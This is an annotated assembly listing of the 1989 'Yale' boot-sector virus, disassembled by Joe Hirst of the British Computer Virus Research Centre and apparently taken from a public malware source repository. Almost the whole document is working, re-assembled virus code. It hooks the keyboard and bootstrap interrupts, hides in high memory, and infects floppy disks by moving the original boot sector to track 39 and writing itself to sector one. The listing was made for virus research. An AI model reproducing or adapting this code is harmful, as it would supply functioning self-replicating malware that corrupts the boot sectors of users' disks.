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https://github.com/vxunderground/MalwareSourceCode
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342 lines
9.3 KiB
NASM
342 lines
9.3 KiB
NASM
page 65,132
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title The 'Yale' Virus
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; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
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; º British Computer Virus Research Centre º
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; º 12 Guildford Street, Brighton, East Sussex, BN1 3LS, England º
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; º Telephone: Domestic 0273-26105, International +44-273-26105 º
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; º º
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; º The 'Yale' Virus º
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; º Disassembled by Joe Hirst, April 1989 º
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; º º
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; º Copyright (c) Joe Hirst 1989. º
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; º º
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; º This listing is only to be made available to virus researchers º
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; º or software writers on a need-to-know basis. º
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; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
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; The virus consists of a boot sector only on a floppy disk.
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; The original boot sector is kept at track thirty-nine, head zero,
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; sector eight.
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; The disassembly has been tested by re-assembly using MASM 5.0
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; Note that this does not create an identical program, as the original
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; appears to have been assembled with A86
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; MASM would not assemble the instruction at offset 003CH (7C3CH)
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; This instruction is undefined on an 8088/8086, and illegal
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; on a 80286/80386.
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; The program requires an origin address of 7C00H for the first sector
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; to load and run as a boot sector
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; System variables are defined in either RAM or BOOT (or both)
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; depending on the segment used by the program
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RAM SEGMENT AT 400H
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; System RAM fields
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ORG 13H
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BW0413 DW ? ; Total RAM size
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ORG 17H
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BB0417 DB ? ; Key toggles
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ORG 72H
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BW0472 DW ? ; System reset word
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RAM ENDS
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BOOT SEGMENT AT 0
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; Interrupt addresses
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ORG 24H
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BW0024 DW ? ; Interrupt 9 offset
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BW0026 DW ? ; Interrupt 9 segment
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ORG 64H
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BW0064 DW ? ; Interrupt 19H offset
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BW0066 DW ? ; Interrupt 19H segment
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; System RAM fields
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ORG 410H
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DW0410 DW ? ; System configuration
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ORG 413H
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DW0413 DW ? ; Total RAM size
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; BIOS field
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ORG 0E502H
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DWE502 DW ?
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BOOT ENDS
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CODE SEGMENT BYTE PUBLIC 'CODE'
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ASSUME CS:CODE,DS:NOTHING
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START: CLI
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XOR AX,AX ; \ Set SS to zero
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MOV SS,AX ; /
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MOV SP,7C00H ; Set stack before boot area
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STI
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ASSUME DS:RAM
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MOV BX,0040H ; \ Address RAM area
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MOV DS,BX ; /
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MOV AX,BW0413 ; Get size of RAM
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MUL BX ; Convert to paragraphs
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SUB AX,07E0H ; Subtract address after boot area
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MOV ES,AX ; Target segment
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ASSUME DS:CODE
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PUSH CS ; \ Set DS to CS
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POP DS ; /
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CMP DI,3456H ; Simulated system reset?
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JNE BP0010 ; Branch if not
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DEC GENNUM[7C00H] ; Decrement generation number
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BP0010: MOV SI,SP ; \ Address boot sector area
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MOV DI,SI ; /
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MOV CX,0200H ; 512 bytes to move
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CLD
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REPZ MOVSB ; Copy virus to high core
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MOV SI,CX ; Address offset zero
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MOV DI,7B80H ; Address interrupt save area
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MOV CX,0080H ; 128 bytes to move
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REPZ MOVSB ; Save first 32 interrupt pointers
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CALL BP0030 ; Install interrupt 9 routine
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PUSH ES ; \ Transfer to high core
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; POP CS ; /
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DB 0FH ; This is the previous instruction
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PUSH DS ; \ Set ES to DS
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POP ES ; /
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MOV BX,SP ; Address boot sector area
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MOV DX,CX ; A-drive, head zero
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MOV CX,2708H ; Track 39, sector 8
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MOV AX,0201H ; Read one sector
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INT 13H ; Disk I/O
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BP0020: JB BP0020 ; Loop on error
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JMP BP0190
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; Install interrupt 9 routine
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BP0030: DEC DW0413 ; Decrement RAM size
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MOV SI,OFFSET BW0024 ; Address INT 9 pointer
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MOV DI,OFFSET INT_09+7C00H ; Target far jump
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MOV CX,4 ; 4 bytes to copy
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CLI
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REPZ MOVSB ; Copy far address
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MOV BW0024,OFFSET BP0050+7C00H ; Install new offset
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MOV BW0026,ES ; Install new segment
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STI
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RET
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; Ctrl-Alt-Del depressed - acknowledge keyboard signal
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BP0040: IN AL,61H ; Get port B
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MOV AH,AL ; Save current state
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OR AL,80H ; Turn top bit on
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OUT 61H,AL ; Set port B
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XCHG AL,AH ; Get original state
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OUT 61H,AL ; Reset port B
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JMP SHORT BP0110
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; Format table for track 39, head zero, 8 sectors (unused)
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DB 027H, 000H, 001H, 002H
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DB 027H, 000H, 002H, 002H
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DB 027H, 000H, 003H, 002H
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DB 027H, 000H, 004H, 002H
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DB 027H, 000H, 005H, 002H
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DB 027H, 000H, 006H, 002H
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DB 027H, 000H, 007H, 002H
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DB 027H, 000H, 008H, 002H
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; Rubbish
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DB 024H, 000H, 0ADH, 07CH, 0A3H, 026H, 000H, 059H
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DB 05FH, 05EH, 007H, 01FH, 058H, 09DH, 0EAH, 011H
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DB 011H, 011H, 011H
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; Interrupt 9 routine
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BP0050: PUSHF
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STI
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PUSH AX
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PUSH BX
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PUSH DS
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PUSH CS ; \ Set DS to CS
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POP DS ; /
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ASSUME DS:CODE
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MOV BX,KYSTAT[7C00H] ; Get Ctrl & Alt key states
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IN AL,60H ; Get keyboard token
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MOV AH,AL ; Save keyboard token
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AND AX,887FH
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CMP AL,1DH ; Was key Ctrl?
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JNE BP0060 ; Branch if not
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MOV BL,AH ; Save Ctrl key state
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JMP SHORT BP0080
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BP0060: CMP AL,38H ; Was key Alt?
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JNE BP0070 ; Branch if not
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MOV BH,AH ; Save Alt key state
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JMP SHORT BP0080
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BP0070: CMP BX,0808H ; Are Ctrl & Alt depressed?
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JNE BP0080 ; Branch if not
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CMP AL,17H ; Is key I?
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JE BP0100 ; Branch if yes
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CMP AL,53H ; Is key Del?
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JE BP0040 ; Branch if yes
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BP0080: MOV KYSTAT[7C00H],BX ; Save Ctrl & Alt key states
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BP0090: POP DS
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POP BX
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POP AX
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POPF
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DB 0EAH ; Far jump to original INT 9
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INT_09 DW 0E987H, 0F000H
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; Pass on Ctrl-Alt-I
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BP0100: JMP BP0240 ; Ctrl-Alt-I
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; Ctrl-Alt-Del depressed - main processing
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BP0110: MOV DX,03D8H ; VDU mode control address
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MOV AX,0800H ; Delay eight cycles
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OUT DX,AL ; Disable display
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CALL BP0250 ; Delay
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MOV KYSTAT[7C00H],AX ; Reset Ctrl & Alt key states
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MOV AL,3 ; Mode three
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INT 10H ; VDU I/O
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MOV AH,2 ; Set cursor address function
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XOR DX,DX ; Row zero, column zero
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MOV BH,DH ; Page zero
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INT 10H ; VDU I/O
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MOV AH,1 ; Set cursor size function
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MOV CX,0607H ; Cursor lines 6 to 7
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INT 10H ; VDU I/O
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MOV AX,0420H ; Delay 4 cycles
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CALL BP0250 ; Delay
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CLI
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OUT 20H,AL ; End of interrupt
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MOV ES,CX ; Address segment zero
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MOV DI,CX ; Address offset zero
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MOV SI,7B80H ; Address interrupt save area
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MOV CX,0080H ; 128 bytes to move
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CLD
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REPZ MOVSB ; Restore first 32 interrupt pointers
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MOV DS,CX ; Address zero
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MOV BW0064,OFFSET BP0130+7C00H ; Install Int 19H offset
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MOV BW0066,CS ; Install Int 19H segment
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ASSUME DS:RAM
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MOV AX,0040H ; \ Address RAM area
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MOV DS,AX ; /
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MOV BB0417,AH ; Set key toggles off
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INC BW0413 ; Restore RAM size
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PUSH DS
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ASSUME DS:BOOT
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MOV AX,0F000H ; \ Address BIOS
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MOV DS,AX ; /
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CMP DWE502,21E4H ; Is BIOS instruction IN AL,21H?
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POP DS
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JE BP0120 ; Branch if yes
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INT 19H ; Disk bootstrap
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BP0120: DB 0EAH ; Far jump to BIOS routine
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DW 0E502H, 0F000H
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; Interrupt 19H routine
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ASSUME DS:BOOT
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BP0130: XOR AX,AX ; \ Set DS to zero
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MOV DS,AX ; /
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MOV AX,DW0410 ; Get system configuration
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TEST AL,1 ; Is there a floppy disk
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JNZ BP0150 ; Branch if yes
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BP0140: PUSH CS ; \ Set ES to CS
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POP ES ; /
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CALL BP0030 ; Install interrupt 9 routine
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INT 18H ; Basica (IBM only)
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BP0150: MOV CX,4 ; Retry four times
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BP0160: PUSH CX ; Save retry count
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MOV AH,0 ; Reset disk sub-system
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INT 13H ; Disk I/O
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JB BP0170 ; Branch if error
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MOV AX,0201H ; Read one sector
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PUSH DS ; \ Set ES to DS
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POP ES ; /
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MOV BX,7C00H ; Boot sector buffer
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MOV CX,1 ; Track zero, sector one
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INT 13H ; Disk I/O
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BP0170: POP CX ; Retrieve retry count
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JNB BP0180 ; Branch if no error
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LOOP BP0160 ; Retry
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JMP BP0140
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BP0180: CMP DI,3456H ; Simulated system reset?
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JNE BP0200 ; Branch if not
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BP0190: DB 0EAH ; Far jump to boot sector area
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DW 7C00H, 0
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BP0200: MOV SI,7C00H ; Boot sector area
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MOV CX,OFFSET INT_09 ; Length to compare
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MOV DI,SI ; Virus offset
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PUSH CS ; \ Set ES to CS
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POP ES ; /
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CLD
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REPZ CMPSB ; Is boot sector infected?
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JE BP0220 ; Branch if yes
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INC ES:GENNUM[7C00H] ; Increment generation number
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MOV BX,7C7AH ; Address format table
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MOV DX,0 ; Head zero, drive zero
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MOV CH,27H ; Track 39
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MOV AH,5 ; Format track
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JMP SHORT BP0210 ; This line was probably an INT 13H
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JB BP0230 ; Error branch for deleted INT 13H
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BP0210: MOV ES,DX ; \ Write from boot sector area
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MOV BX,7C00H ; /
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MOV CL,8 ; Sector eight
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MOV AX,0301H ; Write one sector
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INT 13H ; Disk I/O
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PUSH CS ; \ Set ES to CS
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POP ES ; /
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JB BP0230 ; Branch if error
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MOV CX,1 ; Track zero, sector one
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MOV AX,0301H ; Write one sector
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INT 13H ; Disk I/O
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JB BP0230 ; Branch if error
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BP0220: MOV DI,3456H ; Signal simulated system reset
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INT 19H ; Disk bootstrap
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BP0230: CALL BP0030 ; Install interrupt 9 routine
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DEC ES:GENNUM[7C00H] ; Decrement generation number
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JMP BP0190
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; Ctrl-Alt-I
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ASSUME DS:CODE
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BP0240: MOV KYSTAT[7C00H],BX ; Save Ctrl & Alt key states
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MOV AX,GENNUM[7C00H] ; Get generation number
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ASSUME DS:RAM
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MOV BX,0040H ; \ Address RAM area
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MOV DS,BX ; /
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MOV BW0472,AX ; Generation to system reset word
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JMP BP0090 ; Pass on to original interrupt
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; Delay
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BP0250: SUB CX,CX ; Maximum count
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BP0260: LOOP BP0260 ; Delay loop
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SUB AH,1 ; Decrement count
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JNZ BP0260 ; Repeat loop
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RET
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DB 027H, 000H, 008H, 002H ; Last sector of format table
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GENNUM DW 016H ; Generation number
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KYSTAT DW 0 ; Ctrl & Alt key states
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DB 027H, 000H, 008H, 002H ; Last sector of format table
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CODE ENDS
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END START
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